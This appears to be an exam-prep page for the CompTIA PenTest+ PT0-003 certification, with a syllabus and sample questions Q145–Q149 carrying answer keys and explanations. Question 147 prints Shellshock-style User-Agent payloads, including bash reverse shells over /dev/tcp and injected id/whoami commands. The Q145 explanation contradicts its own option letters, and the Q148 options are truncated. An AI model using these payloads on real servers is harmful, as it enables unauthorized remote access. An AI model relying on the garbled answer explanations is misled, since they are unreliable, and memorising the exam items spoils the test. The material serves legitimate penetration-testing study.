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CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
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Topic 1	• Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.
Topic 2	• Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.
Topic 3	• Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.
Topic 4	• Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.
Topic 5	• Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase's responsibilities.

CompTIA PenTest+ Exam Sample Questions (Q145-Q150):

NEW QUESTION # 145

A penetration tester must identify vulnerabilities within an ICS (Industrial Control System) that is not connected to the internet or enterprise network. Which of the following should the tester utilize to conduct the testing?

- A. Stealth scans
- **B. Manual assessment**
- C. Channel scanning
- D. Source code analysis

Answer: B

Explanation:

Since the ICS is air-gapped (not connected to external networks), the best approach is manual assessment, which involves on-site testing, physical access, and reviewing configurations to identify vulnerabilities.

Option A (Channel scanning) ☐: This is used for wireless networks, not for isolated ICS systems.

Option B (Stealth scans) ☐: A stealth scan is a method to avoid detection while scanning, but it still requires network connectivity.

Option C (Source code analysis) ☐: If the ICS is a proprietary system, source code might not be available. Also, vulnerabilities could exist outside the code, such as misconfigurations.

Option D (Manual assessment) ☐: Correct. The ICS is offline, so a manual review of system settings, firmware, and configurations is the best approach. Reference: CompTIA PenTest+ PT0-003 Official Guide - ICS & SCADA Testing

NEW QUESTION # 146

During a penetration testing exercise, a team decides to use a watering hole strategy. Which of the following is the most effective approach for executing this attack?

- A. Create fake social media profiles to befriend employees.
- B. Launch a DDoS attack on the organization's website.
- **C. Compromise a website frequently visited by the organization's employees.**
- D. Send phishing emails to the organization's employees.

Answer: C

NEW QUESTION # 147

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

```
exploits = {"User-Agent": "() { ignored; };/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept":  
"text/html,application/xhtml+xml,application/xml"}
```

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

- A. `exploits = {"User-Agent": "() { ignored; };/bin/sh -i ps -ef 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}`
- B. `exploits = {"User-Agent": "() { ignored; };/bin/bash -i>& /dev/tcp/10.10.1.1/80 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}`
- C. `exploits = {"User-Agent": "() { ignored; };/bin/bash -i>& find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}`
- D. `exploits = {"User-Agent": "() { ignored; };/bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}`

Answer: D

NEW QUESTION # 148

During a penetration test of a server application, a security consultant found that the application randomly crashed or remained stable after opening several simultaneous connections to the application and always submitting the same packets of data. Which of the following is the best sequence of steps the tester should use to understand and exploit the vulnerability?

- A. Attach a remote disassembler to the server application. Establish a small number of connections to the server app
- B. Attach a local disassembler to the server application. Establish a single connection to the server application. Send
- C. Attach a remote profiler to the server application. Establish a random number of connections to the server applicat
- D. Attach a remote debugger to the server application. Establish a large number of connections to the server applicat

Answer: D

Explanation:

To understand and exploit the vulnerability causing the server application to crash or remain stable after opening several simultaneous connections, the best approach is to attach a remote debugger to the application. This allows the penetration tester to monitor the application's behavior in real-time without affecting the stability of the testing environment. Establishing a large number of connections to the server and sending fixed packets of data simultaneously can help to reproduce the issue consistently, which is crucial for identifying the cause of the crashes.

Analyzing the application's response and debugging data will provide insights into potential buffer overflow, race conditions, or other vulnerabilities.

NEW QUESTION # 149

During a penetration test, a junior tester uses Hunter.io for an assessment and plans to review the information that will be collected. Which of the following describes the information the junior tester will receive from the Hunter.io tool?

- A. DNS records for the target domain and subdomains that could be used to increase the external attack surface
- B. Information from the target's main web page that collects usernames, metadata, and possible data exposures
- C. A collection of email addresses for the target domain that is available on multiple sources on the internet
- D. Data breach information about the organization that could be used for additional enumeration

Answer: C

Explanation:

Hunter.io is a tool used for finding professional email addresses associated with a domain.

Functionality of Hunter.io:

Email Address Collection: Gathers email addresses associated with a target domain from various sources across the internet.

Verification: Validates the email addresses to ensure they are deliverable.

Sources: Aggregates data from public sources, company websites, and other internet databases.

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